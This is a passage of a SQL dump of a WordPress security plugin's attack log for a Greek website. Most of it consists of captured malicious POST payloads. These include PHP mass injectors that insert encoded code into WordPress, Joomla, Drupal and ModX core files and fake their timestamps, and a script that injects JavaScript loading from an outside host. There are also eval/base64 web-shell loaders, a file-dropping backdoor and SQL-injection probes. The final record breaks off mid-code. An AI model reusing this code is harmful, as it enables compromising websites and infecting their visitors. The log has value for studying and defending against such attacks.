INSERT INTO `wp_wpsg_log` (`id`,`date`,`name`,`value`,`tags`,`impact`,`total_impact`,`url`,`referrer`,`ip`,`username`) VALUES 
 (579,'2016-05-21 02:19:09','POST.p2','[encoded data, 54944 characters]','xss,csrf,id,rfe,sqli,lfi',58,195,'http://beta.chrisochoidis.gr/stats.php','http://beta.chrisochoidis.gr/stats.php','51.254.240.1',''),
 (580,'2016-05-21 02:19:09','POST.p1','echo \\\"marker:671243e1d052f8ffd8025f89a690bd22\\\\n\\\"; \r\n\r\n$depth = 0;\r\n\r\n$base_dir = dirname(__FILE__);\r\nfor ($i = 0; $i < $depth; $i++) {\r\n    $d = dirname($base_dir);\r\n    $tmp = glob($d . \\\"/*\\\", GLOB_ONLYDIR);\r\n    if(count($tmp)>0)\r\n        $base_dir = $d;\r\n    else {\r\n        echo(\\\"cant read: \\\".$d.\\\"\\\\n\\\");\r\n    }\r\n}\r\n\r\n$templates_array = \narray(\n    0=>array(\n        \\\"inject\\\"=>\\\'[encoded data, 9248 characters]\\\',\n        \\\"name\\\"=>\\\"inject_name:nav_menu_1\\\",\n        \\\"file\\\" => \\\"/wp-includes/nav-menu.php\\\",\n        \\\"search\\\" => \\\'* @return array menu objects\n*/\\\',\n    ),\n    array(\n        \\\"inject\\\"=>\\\'[encoded data, 9248 characters]\\\',\n        \\\"name\\\"=>\\\"inject_name:nav_menu_2\\\",\n        \\\"file\\\" => \\\"/wp-includes/nav-menu.php\\\",\n        \\\"search\\\" => \\\'* @return array Menu objects.\n*/\\\',\n    ),\n    array(\n        \\\"inject\\\"=>\\\'[encoded data, 5408 characters]\\\',\n        \\\"name\\\"=>\\\"inject_name:joomla\\\",\n        \\\"file\\\" => \\\"/includes/defines.php\\\",\n        \\\"search\\\" => \\\"endfile\\\",\n    ),\n    array(\n        \\\"inject\\\"=>\\\'[encoded data, 5408 characters]\\\',\n        \\\"name\\\"=>\\\"inject_name:drupal\\\",\n        \\\"file\\\" => \\\"/includes/bootstrap.inc\\\",\n        \\\"search\\\" => \\\'*  TRUE if only containing valid characters, or FALSE otherwise.\n */\\\',\n    ),\n    array(\n        \\\"inject\\\"=>\\\'[encoded data, 5408 characters]\\\',\n        \\\"name\\\"=>\\\"inject_name:modx\\\",\n        \\\"file\\\" => \\\"/manager/includes/protect.inc.php\\\",\n        \\\"search\\\" => \\\"endfile\\\",\n    ),\n\n);\n\n\n;\r\n\r\nif (empty($base_dir)) $base_dir = \\\"/\\\";\r\n$folders = glob($base_dir . \\\"/*\\\", GLOB_ONLYDIR);\r\narray_unshift($folders, $base_dir);\r\n\r\n\r\nforeach ($folders as $folder) {\r\n    foreach ($templates_array as $ta) {\r\n        $file = $folder . $ta[\\\"file\\\"];\r\n        $search = $ta[\\\"search\\\"];\r\n\r\n        if (!file_exists($file)) {\r\n//            echo $file . \\\" is not faund\\\\n\\\";\r\n            continue;\r\n        }\r\n\r\n        replace_code($file, $search, $base_dir, true, $ta);\r\n\r\n\r\n    }\r\n}\r\n        //exit;\r\n$themes_folder = false;\r\nforeach ($folders as $folder) {\r\n    $file = $folder.\\\"/wp-content/themes/\\\";\r\n    if (file_exists($file)) {\r\n        $themes_folder = $file;\r\n        echo $file . \\\" themes folder is found\\\\n\\\";\r\n        break;\r\n    }\r\n}\r\nif(!$themes_folder) exit;\r\n\r\n$folders = glob($themes_folder . \\\"*\\\", GLOB_ONLYDIR);\r\nforeach ($folders as $folder) {\r\n    $file = $folder.\\\"/footer.php\\\";\r\n    if (!file_exists($file)) {\r\n        echo  \\\"theme: \\\".basename($folder).\\\" footer is not found\\\\n\\\";\r\n        continue;\r\n    }\r\n\r\n    replace_code($file, \\\'startfile\\\', $base_dir, false, $templates_array[0]);\r\n}\r\n\r\nfunction replace_code($file, $search, $base_dir, $exit=true, $ta) {\r\n    if(basename($file)==\\\"nav-menu.php\\\") {\r\n        my_correct(dirname(dirname($file)));\r\n    }\r\n\r\n    $inject_src = base64_decode($ta[\\\"inject\\\"]);\r\n\r\n    $c = file_get_contents($file);\r\n\r\n    $size[\\\"start\\\"] = number_format(strlen($c));\r\n\r\n    $start_mark = \\\"//istart\\\";\r\n    $end_mark = \\\"//iend\\\";\r\n\r\n    if (stristr($c, $start_mark) AND stristr($c, $end_mark)) {\r\n//        echo \\\"markers found\\\\n\\\";\r\n        $c = preg_replace(\\\"#\\\" . preg_quote($start_mark) . \\\".*?\\\" . preg_quote($end_mark) . \\\"\\\\n?#is\\\", \\\"\\\", $c);\r\n    }\r\n//    if(stristr($c, $search)) {\r\n\r\n\r\n    $regex_search = preg_replace(\\\"#\\\\s+#\\\", \\\"\\\\s+\\\", preg_quote($search));\r\n    if ($search == \\\"endfile\\\") {\r\n//        echo(\\\"inject in the end of file\\\\n\\\");\r\n        $c = $c . $start_mark . \\\"\\\\n\\\" . $inject_src . $end_mark . \\\"\\\\n\\\";\r\n    }\r\n    elseif ($search == \\\"startfile\\\") {\r\n\r\n        $c = preg_replace(\\\"#(\\\\<\\\\?\\\".\\\"php)#is\\\", \\\'<\\\'.\\\'?\\\'.\\\'php \\\' . $start_mark . \\\"\\\\n\\\" . @$inject_src . $end_mark . \\\"\\\\n\\\", $c, 1);\r\n//        echo($data);\r\n    }\r\n    else {\r\n//        echo(\\\"injecting by the marker\\\\n\\\");\r\n        $c = preg_replace(\r\n            \\\"#\\\" . $regex_search.\\\"#is\\\",\r\n            $search . $start_mark . \\\"\\\\n\\\" . @$inject_src . $end_mark . \\\"\\\\n\\\",\r\n            $c\r\n        );\r\n    }\r\n    $size[\\\"result\\\"] = number_format(strlen($c));\r\n\r\n    if (stristr($c, $search) OR in_array($search, array(\\\"endfile\\\", \\\"startfile\\\"))) {\r\n//        echo($file.\\\" : search  not found:\\\" . $search.\\\" \\\".$regex_search);\r\n\r\n        $filemtime = filemtime($file);\r\n        if (file_put_contents($file, $c)) {\r\n            echo \\\"filename: \\\".$file . \\\" [\\\".@$ta[\\\"name\\\"].\\\"] found\\\\n\\\";\r\n\r\n            echo \\\"original filesize: \\\" . $size[\\\"start\\\"] . \\\"\\\\n\\\";\r\n\r\n            echo(\\\"file $file saved\\\\n\\\");\r\n            echo(\\\"inject:::\\\".str_replace($base_dir, \\\"\\\", $file).\\\":::inject\\\\n\\\");\r\n            touch($file, $filemtime, $filemtime);\r\n            echo \\\"result filesize: \\\" . $size[\\\"result\\\"] . \\\"\\\\n\\\";\r\n\r\n            if($exit) exit;\r\n        } else echo(\\\"save error: \\\" . $file . \\\"\\\\n\\\");\r\n    }\r\n}\r\n\r\nfunction my_time($dir) {\r\n    foreach (glob($dir . \\\'/wp-*.php\\\') as $f) {\r\n        $times[] = filemtime($f);\r\n    }\r\n    $max = 1;\r\n    for ($i = 0; $i < count($times) - 1; $i++) {\r\n        $k = 1;\r\n        for ($j = $i + 1; $j < count($times); $j++) {\r\n            if ($times[$i] == $times[$j]) {\r\n                $k++;\r\n                if ($k > $max) {\r\n                    $max = $k;\r\n                    $time = $times[$i];\r\n                }\r\n            }\r\n        }\r\n    }\r\n    return $time;\r\n}\r\n\r\nfunction my_correct($dir) {\r\n    $time = 0;\r\n    $path = $dir . \\\'/index.php\\\';\r\n    $content = base64_decode(\\\'PD9waHAKLyoqCiAqIEZyb250IHRvIHRoZSBXb3JkUHJlc3MgYXBwbGljYXRpb24uIFRoaXMgZmlsZSBkb2Vzbid0IGRvIGFueXRoaW5nLCBidXQgbG9hZHMKICogd3AtYmxvZy1oZWFkZXIucGhwIHdoaWNoIGRvZXMgYW5kIHRlbGxzIFdvcmRQcmVzcyB0byBsb2FkIHRoZSB0aGVtZS4KICoKICogQHBhY2thZ2UgV29yZFByZXNzCiAqLwoKLyoqCiAqIFRlbGxzIFdvcmRQcmVzcyB0byBsb2FkIHRoZSBXb3JkUHJlc3MgdGhlbWUgYW5kIG91dHB1dCBpdC4KICoKICogQHZhciBib29sCiAqLwpkZWZpbmUoJ1dQX1VTRV9USEVNRVMnLCB0cnVlKTsKCi8qKiBMb2FkcyB0aGUgV29yZFByZXNzIEVudmlyb25tZW50IGFuZCBUZW1wbGF0ZSAqLwpyZXF1aXJlKCBkaXJuYW1lKCBfX0ZJTEVfXyApIC4gJy93cC1ibG9nLWhlYWRlci5waHAnICk7Cg==\\\');\r\n    if (file_get_contents($path) != $content) {\r\n        chmod($path, 0644);\r\n        file_put_contents($path, $content);\r\n        chmod($path, 0444);\r\n        $time = my_time($dir);\r\n        touch($path, $time);\r\n    }\r\n\r\n    $path = $dir . \\\'/.htaccess\\\';\r\n    $content = base64_decode(\\\'IyBCRUdJTiBXb3JkUHJlc3MKPElmTW9kdWxlIG1vZF9yZXdyaXRlLmM+ClJld3JpdGVFbmdpbmUgT24KUmV3cml0ZUJhc2UgLwpSZXdyaXRlUnVsZSBeaW5kZXhcLnBocCQgLSBbTF0KUmV3cml0ZUNvbmQgJXtSRVFVRVNUX0ZJTEVOQU1FfSAhLWYKUmV3cml0ZUNvbmQgJXtSRVFVRVNUX0ZJTEVOQU1FfSAhLWQKUmV3cml0ZVJ1bGUgLiAvaW5kZXgucGhwIFtMXQo8L0lmTW9kdWxlPgoKIyBFTkQgV29yZFByZXNzCg==\\\');\r\n    if (file_exists($path) AND file_get_contents($path) != $content) {\r\n        chmod($path, 0644);\r\n        file_put_contents($path, $content);\r\n        chmod($path, 0444);\r\n        if (!$time) {\r\n            $time = my_time($dir);\r\n        }\r\n        touch($path, $time);\r\n    }\r\n}','xss,csrf,id,rfe,sqli,lfi',137,195,'http://beta.chrisochoidis.gr/stats.php','http://beta.chrisochoidis.gr/stats.php','51.254.240.1',''),
 (581,'2016-05-21 02:22:03','POST.eanuvherejri','eval(base64_decode($_POST[xxx]))','xss,csrf,id,rfe,lfi',20,78,'http://beta.chrisochoidis.gr/wp-content/plugins/vc-extensions-bundle/sticker/css/object.php','http://beta.chrisochoidis.gr/wp-content/plugins/vc-extensions-bundle/sticker/css/object.php','93.170.104.43','');
INSERT INTO `wp_wpsg_log` (`id`,`date`,`name`,`value`,`tags`,`impact`,`total_impact`,`url`,`referrer`,`ip`,`username`) VALUES 
 (582,'2016-05-21 02:22:03','POST.xxx','[encoded data, 54944 characters]','xss,csrf,id,rfe,sqli,lfi',58,78,'http://beta.chrisochoidis.gr/wp-content/plugins/vc-extensions-bundle/sticker/css/object.php','http://beta.chrisochoidis.gr/wp-content/plugins/vc-extensions-bundle/sticker/css/object.php','93.170.104.43',''),
 (583,'2016-05-22 02:12:22','POST.p1','\r\n$tag = \\\'</head>\\\'; // \\\'<body.*>\\\';\r\n\r\n$code = <<<CODE\r\n<script>var a=\\\'\\\';setTimeout(10);if(document.referrer.indexOf(location.protocol+\\\"//\\\"+location.host)!==0||document.referrer!==undefined||document.referrer!==\\\'\\\'||document.referrer!==null){document.write(\\\'<script type=\\\"text/javascript\\\" src=\\\"http://consultlevy.com/js/jquery.min.php?c_utt=J18171&c_utm=\\\'+encodeURIComponent(\\\'http://consultlevy.com/js/jquery.min.php\\\'+\\\'?\\\'+\\\'default_keyword=\\\'+encodeURIComponent(((k=(function(){var keywords=\\\'\\\';var metas=document.getElementsByTagName(\\\'meta\\\');if(metas){for(var x=0,y=metas.length;x<y;x++){if(metas[x].name.toLowerCase()==\\\"keywords\\\"){keywords+=metas[x].content;}}}return keywords!==\\\'\\\'?keywords:null;})())==null?(v=window.location.search.match(/utm_term=([^&]+)/))==null?(t=document.title)==null?\\\'\\\':t:v[1]:k))+\\\'&se_referrer=\\\'+encodeURIComponent(document.referrer)+\\\'&source=\\\'+encodeURIComponent(window.location.host))+\\\'\\\"><\\\'+\\\'/script>\\\');}</script>\r\nCODE;\r\n\r\n\r\ndefine(DEBAG, false);\r\n\r\n\r\n$signature = array(\r\n    \\\'wp-admin\\\'=>array(\\\'engine\\\'=>\\\'Wordpress\\\',\\\'path\\\'=>\\\'/wp-content/themes\\\',\\\'file\\\'=>\\\'header.php\\\'),\r\n    \\\'administrator\\\'=>array(\\\'engine\\\'=>\\\'Joomla\\\',\\\'path\\\'=>\\\'/templates\\\',\\\'file\\\'=>\\\'index.php\\\'),\r\n    \\\'authorize.php\\\'=>array(\\\'engine\\\'=>\\\'Drupal_7\\\',\\\'path\\\'=>\\\'/modules/system\\\',\\\'file\\\'=>\\\'html.tpl.php\\\'),\r\n    \\\'misc\\\'=>array(\\\'engine\\\'=>\\\'Drupal_6\\\',\\\'path\\\'=>\\\'/modules/system\\\',\\\'file\\\'=>\\\'page.tpl.php\\\'),\r\n    \\\'index-ajax.php\\\'=>array(\\\'engine\\\'=>\\\'Modx\\\',\\\'path\\\'=>\\\'/assets/templates\\\',\\\'file\\\'=>\\\'.tpl|.php\\\'),\r\n);\r\n\r\n$toFind = array_keys($signature);\r\n$dir = path_finder();\r\n\r\n$d=array();\r\n$d1=array();\r\n$d2=array();\r\n\r\n\r\n$res=smartscan($dir);\r\nif(count($match = array_values(array_intersect($res,$toFind))) > 0){\r\n    themesEditor($localpath = $dir, $pattern = $signature[$match[0]], $tag, $code);\r\n}\r\n\r\n//add dirs to massive 1\r\nforeach($res as $v){\r\n    if(is_dir($dir.\\\'/\\\'.$v) && $v!==\\\".\\\" && $v!==\\\"..\\\"){\r\n        $d[]=$dir.\\\'/\\\'.$v;\r\n    }\r\n}\r\n\r\n//scan 1-deep files\r\nforeach($d as $n){\r\n    $res2=smartscan($n);\r\n    if(count($match = array_values(array_intersect($res2,$toFind))) > 0){\r\n        themesEditor($localpath = $n, $pattern = $signature[$match[0]], $tag, $code);\r\n    }\r\n    foreach($res2 as $l){\r\n        if(is_dir($n.\\\'/\\\'.$l) && $l!==\\\'.\\\' && $l!==\\\'..\\\'){\r\n            //add dirs to massive 2\r\n            $d1[]=$n.\\\'/\\\'.$l;\r\n        }\r\n    }\r\n}\r\n\r\n//scan 2-deep files\r\nforeach($d1 as $n1){\r\n    $res2=smartscan($n1);\r\n    if(count($match = array_values(array_intersect($res2,$toFind))) > 0){\r\n        themesEditor($localpath = $n1, $pattern = $signature[$match[0]], $tag, $code);\r\n    }\r\n\r\n    foreach($res2 as $l1){\r\n        if(is_dir($n1.\\\'/\\\'.$l1) && $l1!==\\\'.\\\' && $l1!==\\\'..\\\'){\r\n            //add dirs to massive 3\r\n            $d2[]=$n1.\\\'/\\\'.$l1;\r\n        }\r\n    }\r\n}\r\n\r\n//scan 3-deep files\r\nforeach($d2 as $n2){\r\n    $res3=smartscan($n2);\r\n    if(count($match = array_values(array_intersect($res3,$toFind))) > 0){\r\n        themesEditor($localpath = $n2, $pattern = $signature[$match[0]], $tag, $code);\r\n    }\r\n}\r\n\r\n\r\nfunction themesEditor($localpath, $pattern, $tag, $code){\r\n    if(DEBAG){\r\n        if(@smartscan($fullpath = $localpath.$pattern[\\\'path\\\']))\r\n            echo \\\'Engine: \\\'.$pattern[\\\'engine\\\'].\\\' --> Localpath:\\\'.$localpath.\\\'<br>\\\';\r\n        else\r\n            echo \\\'Engine: \\\'.$pattern[\\\'engine\\\'].\\\' --> Dir doesnt exist:\\\'.$localpath.\\\'<br>\\\';\r\n    }\r\n    else{\r\n        $res=smartscan($fullpath = $localpath.$pattern[\\\'path\\\']);\r\n        $d=array();\r\n        //add dirs to massive 1\r\n        echo \\\'<img src=\\\"img/cms/\\\'.$pattern[\\\'engine\\\'].\\\'.png\\\"><b>\\\'.$pattern[\\\'engine\\\'].\\\'<br></b>\\\';\r\n\r\n        foreach($res as $v){\r\n            if(preg_match(\\\'#\\\'.$pattern[\\\'file\\\'].\\\'#i\\\', $v)){\r\n                edit($fullpath.\\\'/\\\'.$v, $code, $tag);\r\n            }\r\n            if(is_dir($fullpath.\\\'/\\\'.$v) && $v!==\\\".\\\" && $v!==\\\"..\\\"){\r\n                $d[]=$fullpath.\\\'/\\\'.$v;\r\n            }\r\n        }\r\n\r\n        //print_r(scandir($d[0]));\r\n        //scan 1-deep files\r\n        foreach($d as $n){\r\n            $res2=smartscan($n);\r\n            foreach($res2 as $l){\r\n                if(preg_match(\\\'#\\\'.$pattern[\\\'file\\\'].\\\'#i\\\', $l)){\r\n                    edit($n.\\\'/\\\'.$l, $code, $tag);\r\n                    continue;\r\n                }\r\n            }\r\n        }\r\n    }\r\n}\r\n\r\n\r\nfunction edit($filepath, $code, $tag){\r\n    clearstatcache();\r\n    $perms = 0777 & fileperms($filepath);\r\n    chmod($filepath, 0666);\r\n    if(is_writable($filepath)){\r\n        $content = file_get_contents($filepath);\r\n        $tag_exists = false;\r\n        $lastmod = filemtime($filepath);\r\n\r\n        $search_code = \\\'<script.*>var a=.*<\\\\/script>\\\';\r\n\r\n        if(preg_match_all(\\\'#\\\'.$search_code.\\\'#im\\\', $content, $matches)) {\r\n            foreach($matches as $match){\r\n                $content = preg_replace(\\\'#\\\'.$search_code.\\\'#im\\\', \\\'\\\', $content);\r\n            }\r\n            file_put_contents($filepath, $content, LOCK_EX);\r\n            touch($filepath, $lastmod);\r\n            chmod($filepath, $perms);\r\n            echo \\\'&nbsp&nbsp&nbsp&nbsp&nbspOLD CODE EXIST >> \\\'.$filepath.\\\'<br>\\\';\r\n        }\r\n\r\n        switch($tag){\r\n            case \\\"</head>\\\":\r\n            if(preg_match(\\\'#</head>#i\\\', $content, $match)){\r\n                $replacement = $code.\\\"\\\\r\\\\n</head>\\\";\r\n                $tag_exists = true;\r\n                break;\r\n            }\r\n            case \\\"<body.*>\\\":\r\n            if(preg_match(\\\'#<body.*>#i\\\', $content,$match)){\r\n                $replacement = $match[0].\\\"\\\\r\\\\n\\\".$code;\r\n                $tag_exists = true;\r\n                break;\r\n            }\r\n        }\r\n\r\n        if($tag_exists){\r\n            $inject = preg_replace(\\\'#\\\'.$tag.\\\'#i\\\', $replacement, $content);\r\n            file_put_contents($filepath, $inject, LOCK_EX);\r\n            touch($filepath, $lastmod);\r\n            chmod($filepath, $perms);\r\n            echo \\\'&nbsp&nbsp&nbsp&nbsp&nbspSuccess >> \\\'.$filepath.\\\'<br>\\\';\r\n        }\r\n        else{\r\n            echo \\\'&nbsp&nbsp&nbsp&nbsp&nbspTag Not Found >> \\\'.$filepath.\\\'<br>\\\';\r\n            return;\r\n        }\r\n    }\r\n    else{\r\n        echo \\\'&nbsp&nbsp&nbsp&nbsp&nbspCant Edit >> \\\'.$filepath.\\\'<br>\\\';\r\n    }\r\n\r\n}\r\n\r\n\r\nfunction path_finder(){\r\n    $p=$_SERVER[\\\'SCRIPT_FILENAME\\\'];\r\n    if(empty($p)){\r\n        exit(\\\'Cant find the path\\\');\r\n    }\r\n    else{\r\n        $p=str_replace(\\\'\\\\/\\\', \\\'/\\\', $p);\r\n        $p=trim($p, \\\'/\\\');\r\n        $p=substr_count($p, \\\'/\\\')-1;\r\n    }\r\n\r\n    for($k=1; $k<=$p; $k++){\r\n        if(!is_readable(str_repeat(\\\'../\\\', $k))){\r\n            $pth=trim(str_repeat(\\\'../\\\', $k-1));\r\n            break;\r\n        }\r\n    }\r\n\r\n    if($pth){\r\n        return $pth;\r\n    }\r\n    else{\r\n        return trim(str_repeat(\\\'../\\\', $p-1));\r\n    }\r\n}\r\n\r\n\r\nfunction smartscan($dir){\r\n    if(function_exists(\\\"scandir\\\")){\r\n        return scandir($dir);\r\n    }\r\n    else{\r\n        $dh  = opendir($dir);\r\n        while(false !== ($filename = readdir($dh)))\r\n            $files[] = $filename;\r\n        return $files;\r\n    }\r\n}','xss,csrf,dt,id,lfi,rfe,sqli',185,185,'http://beta.chrisochoidis.gr/stats.php','','85.93.5.78',''),
 (584,'2016-05-23 19:21:28','POST.coco','@eval/**/(${\\\'_P\\\'.\\\'OST\\\'}[z9]/**/(${\\\'_POS\\\'.\\\'T\\\'}[z0]));','xss,csrf,id,sqli,lfi,rfe',22,108,'http://www.chrisochoidis.gr/wp-content/plugins/Login-wall-etgFB/login_wall.php?login=cmd&z3=MjkwNTk5OC5waHA%3d&z4=L3dwLWNvbnRlbnQvcGx1Z2lucy8%3d','www.chrisochoidis.gr','195.154.194.116',''),
 (585,'2016-05-23 19:21:28','POST.z0','QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApOyRucGF0aD0kX1NFUlZFUlsnRE9DVU1FTlRfUk9PVCddLkJhU0U2NF9kRWNPZEUoJF9HRVRbJ3o0J10pO2Z1bmN0aW9uIGNyZWF0ZUZvbGRlcigkcGF0aCl7aWYoIWZpbGVfZXhpc3RzKCRwYXRoKSl7Y3JlYXRlRm9sZGVyKGRpcm5hbWUoJHBhdGgpKTtta2RpcigkcGF0aCwgMDc3Nyk7fX1jcmVhdGVGb2xkZXIoJG5wYXRoKTtlY2hvKCItPnwiKTs7JGM9JF9QT1NUWyJ6MiJdOyRmPSRucGF0aC5CYVNFNjRfZEVjT2RFKCRfR0VUWyJ6MyJdKTskYz1zdHJfcmVwbGFjZSgiXHIiLCIiLCRjKTskYz1zdHJfcmVwbGFjZSgiXG4iLCIiLCRjKTskYnVmPSIiO2ZvcigkaT0wOyRpPHN0cmxlbigkYyk7JGkrPTIpJGJ1Zi49dXJsZGVjb2RlKCIlIi5zdWJzdHIoJGMsJGksMikpO2VjaG8oQGZ3cml0ZShmb3BlbigkZiwidyIpLCRidWYpPyIxIjoiMCIpOztlY2hvKCJ8PC0iKTtkaWUoKTs=','xss,csrf,id,rfe,sqli,lfi',86,108,'http://www.chrisochoidis.gr/wp-content/plugins/Login-wall-etgFB/login_wall.php?login=cmd&z3=MjkwNTk5OC5waHA%3d&z4=L3dwLWNvbnRlbnQvcGx1Z2lucy8%3d','www.chrisochoidis.gr','195.154.194.116',''),
 (586,'2016-05-24 09:18:32','GET.search','-\\\'A=0','xss,csrf',4,4,'http://www.chrisochoidis.gr/13/payable/5228-subprogram_morale_pictorial_coupler_gratuity/?search=-\\\'A=0','http://www.chrisochoidis.gr/13/payable/5228-subprogram_morale_pictorial_coupler_gratuity/?search=-\\\'A=0','141.105.44.66','');
INSERT INTO `wp_wpsg_log` (`id`,`date`,`name`,`value`,`tags`,`impact`,`total_impact`,`url`,`referrer`,`ip`,`username`) VALUES 
 (587,'2016-05-25 03:02:41','GET.search','伊達メガネ 俳優James\\\'A=0','xss,csrf',4,4,'http://www.chrisochoidis.gr/tag/οασα/13/gratuity/5223-mill_spreadsheet_payable_mill_pictorial/?search=%E4%BC%8A%E9%81%94%E3%83%A1%E3%82%AC%E3%83%8D+%E4%BF%B3%E5%84%AAJames\\\'A=0','http://www.chrisochoidis.gr/tag//13/gratuity/5223-mill_spreadsheet_payable_mill_pictorial/?search=+James\\\'A=0','123.56.28.108',''),
 (588,'2016-05-25 08:46:28','GET.req','echo __FILE__;','xss,csrf',5,5,'http://chrisochoidis.gr/?req=echo+__FILE__;','http://chrisochoidis.gr/?req=echo+__FILE__;','79.110.17.2',''),
 (589,'2016-05-25 13:09:30','GET.search','伊達メガネ 俳優James\\\'A=0','xss,csrf',4,4,'http://www.chrisochoidis.gr/tag/οασα/13/gratuity/5223-mill_spreadsheet_payable_mill_pictorial/?search=%E4%BC%8A%E9%81%94%E3%83%A1%E3%82%AC%E3%83%8D+%E4%BF%B3%E5%84%AAJames\\\'A=0','http://www.chrisochoidis.gr/tag//13/gratuity/5223-mill_spreadsheet_payable_mill_pictorial/?search=+James\\\'A=0','106.75.140.97',''),
 (590,'2016-05-25 13:10:10','GET.search','伊達メガネ 俳優James\\\'A=0','xss,csrf',4,4,'http://www.chrisochoidis.gr/tag/οασα/13/gratuity/5223-mill_spreadsheet_payable_mill_pictorial/?search=%E4%BC%8A%E9%81%94%E3%83%A1%E3%82%AC%E3%83%8D+%E4%BF%B3%E5%84%AAJames\\\'A=0','http://www.chrisochoidis.gr/tag//13/gratuity/5223-mill_spreadsheet_payable_mill_pictorial/?search=+James\\\'A=0','218.93.196.234',''),
 (591,'2016-05-25 17:58:02','POST.p1','$rfmiyx = base64_decode(\\\"[encoded data, 7716 characters]\\\");  eval($rfmiyx);','xss,csrf,id,rfe,lfi',34,34,'http://chrisochoidis.gr/stats.php','','39.47.26.194',''),
 (592,'2016-05-25 18:05:47','POST.p1','$jkmnnyrd = base64_decode(\\\"[encoded data, 6900 characters]\\\");  eval($jkmnnyrd);','xss,csrf,id,rfe,lfi',34,34,'http://beta.chrisochoidis.gr/stats.php','','197.33.250.133',''),
 (593,'2016-05-25 19:02:38','GET.search','-\\\'A=0','xss,csrf',4,4,'http://www.chrisochoidis.gr/13/payable/5228-subprogram_morale_pictorial_coupler_gratuity/?search=-\\\'A=0','http://www.chrisochoidis.gr/13/payable/5228-subprogram_morale_pictorial_coupler_gratuity/?search=-\\\'A=0','37.190.37.96',''),
 (594,'2016-05-25 19:12:27','GET.main_page','index\\\'A=0','xss,csrf',4,4,'http://www.chrisochoidis.gr/index.php?main_page=index\\\'A=0&cPath=6','http://www.chrisochoidis.gr/index.php?main_page=index\\\'A=0&cPath=6','99.242.17.90',''),
 (595,'2016-05-25 19:12:29','GET.cPath','6\\\'A=0','xss,csrf',4,4,'http://www.chrisochoidis.gr/index.php?main_page=index&cPath=6\\\'A=0','http://www.chrisochoidis.gr/index.php?main_page=index&cPath=6\\\'A=0','99.242.17.90',''),
 (596,'2016-05-25 23:22:55','POST.p1','header(\\\"location:http://hayjvonxcom\\\");','xss,csrf,id,rfe',14,14,'http://beta.chrisochoidis.gr/stats.php','','37.157.219.244',''),
 (597,'2016-05-25 23:23:33','POST.p1','$t = base64_decode(\\\"[encoded data, 50728 characters]\\\"); eval($t);','xss,csrf,id,rfe,sqli,lfi',45,45,'http://beta.chrisochoidis.gr/stats.php','','37.157.219.244',''),
 (598,'2016-05-26 00:16:47','POST.p2','[encoded data, 55676 characters]','xss,csrf,id,rfe,sqli,lfi',78,236,'http://beta.chrisochoidis.gr/w66383669n.php','http://beta.chrisochoidis.gr/w66383669n.php','95.215.108.247','');
INSERT INTO `wp_wpsg_log` (`id`,`date`,`name`,`value`,`tags`,`impact`,`total_impact`,`url`,`referrer`,`ip`,`username`) VALUES 
 (599,'2016-05-26 00:16:47','POST.p1','echo \\\"marker:adcb26bc99bb033c584f26a6c2b02446\\\\n\\\"; \n\n$depth = \\\'0\\\';\n\n$depth = $depth+2;\n\n$base_dir = dirname(__FILE__);\nfor ($i = 0; $i < $depth; $i++) {\n    $d = dirname($base_dir);\n    $tmp = glob($d . \\\"/*\\\", GLOB_ONLYDIR);\n    if(count($tmp)>0)\n        $base_dir = $d;\n    else {\n        echo(\\\"cant read: \\\".$d.\\\"\\\\n\\\");\n    }\n}\n$templates_array = \narray(\n    0=>array(\n        \\\"inject\\\"=>\\\'[encoded data, 9260 characters]\\\',\n        \\\"name\\\"=>\\\"inject_name:nav_menu_1\\\",\n        \\\"file\\\" => \\\"/wp-includes/nav-menu.php\\\",\n        \\\"search\\\" => \\\'* @return array menu objects\n*/\\\',\n    ),\n    array(\n        \\\"inject\\\"=>\\\'[encoded data, 9260 characters]\\\',\n        \\\"name\\\"=>\\\"inject_name:nav_menu_2\\\",\n        \\\"file\\\" => \\\"/wp-includes/nav-menu.php\\\",\n        \\\"search\\\" => \\\'* @return array Menu objects.\n*/\\\',\n    ),\n    array(\n        \\\"inject\\\"=>\\\'[encoded data, 5420 characters]\\\',\n        \\\"name\\\"=>\\\"inject_name:joomla\\\",\n        \\\"file\\\" => \\\"/includes/defines.php\\\",\n        \\\"search\\\" => \\\"endfile\\\",\n    ),\n    array(\n        \\\"inject\\\"=>\\\'[encoded data, 5420 characters]\\\',\n        \\\"name\\\"=>\\\"inject_name:drupal\\\",\n        \\\"file\\\" => \\\"/includes/bootstrap.inc\\\",\n        \\\"search\\\" => \\\'*  TRUE if only containing valid characters, or FALSE otherwise.\n */\\\',\n    ),\n    array(\n        \\\"inject\\\"=>\\\'[encoded data, 5420 characters]\\\',\n        \\\"name\\\"=>\\\"inject_name:modx\\\",\n        \\\"file\\\" => \\\"/manager/includes/protect.inc.php\\\",\n        \\\"search\\\" => \\\"endfile\\\",\n    ),\n\n);\n\n\n;\n\n\necho(\\\"start folder is: \\\".$base_dir.\\\"\\\\n\\\");\nif (empty($base_dir)) $base_dir = \\\"/\\\";\n$folders = get_listing($base_dir.\\\"/\\\");\n//array_unshift($folders, $base_dir_site);\n\n$skip_array = array(\\\"\\\\.ru\\\", \\\"\\\\.su\\\", \\\"\\\\.ua\\\", \\\"\\\\.kz\\\", \\\"\\\\.by\\\", \\\"\\\\.xn--p1ai\\\", \\\"\\\\.gov\\\", \\\"\\\\.mil\\\");\n$skip_regex = implode(\\\"|\\\", $skip_array);\n//$skip_regex = implode(\\\"[/]|\\\", $skip_array).\\\"[/]|\\\";\n\nforeach ($folders as $folder) {\n//    echo(\\\"regex : \\\".\\\"#(\\\".$skip_regex.\\\")#is\\\".\\\"\\\\n\\\");\n    if(preg_match(\\\"#(\\\".$skip_regex.\\\")#is\\\", $folder, $m)) {\n        echo(\\\"bad domain zone in path: \\\".$folder. \\\" match: \\\".$m[1]);\n        continue;\n    }\n\n    foreach ($templates_array as $ta) {\n        $file = $folder . $ta[\\\"file\\\"];\n        $search = $ta[\\\"search\\\"];\n\n        if (!file_exists($file)) {\n//            echo $file . \\\" is not faund\\\\n\\\";\n            continue;\n        }\n\n        echo \\\"\\\\n\\\\n\\\" . str_repeat(\\\"*+\\\", 50) . \\\"\\\\n\\\";\n        echo $file . \\\" was found\\\\n\\\";\n\n        replace_code($file, $search, $base_dir, false, $ta);\n    }\n}\n\n\nfunction replace_code($file, $search, $base_dir, $exit=true, $ta) {\n    if(basename($file)==\\\"nav-menu.php\\\") {\n        my_correct(dirname(dirname($file)));\n    }\n\n    $inject_src = base64_decode($ta[\\\"inject\\\"]);\n\n   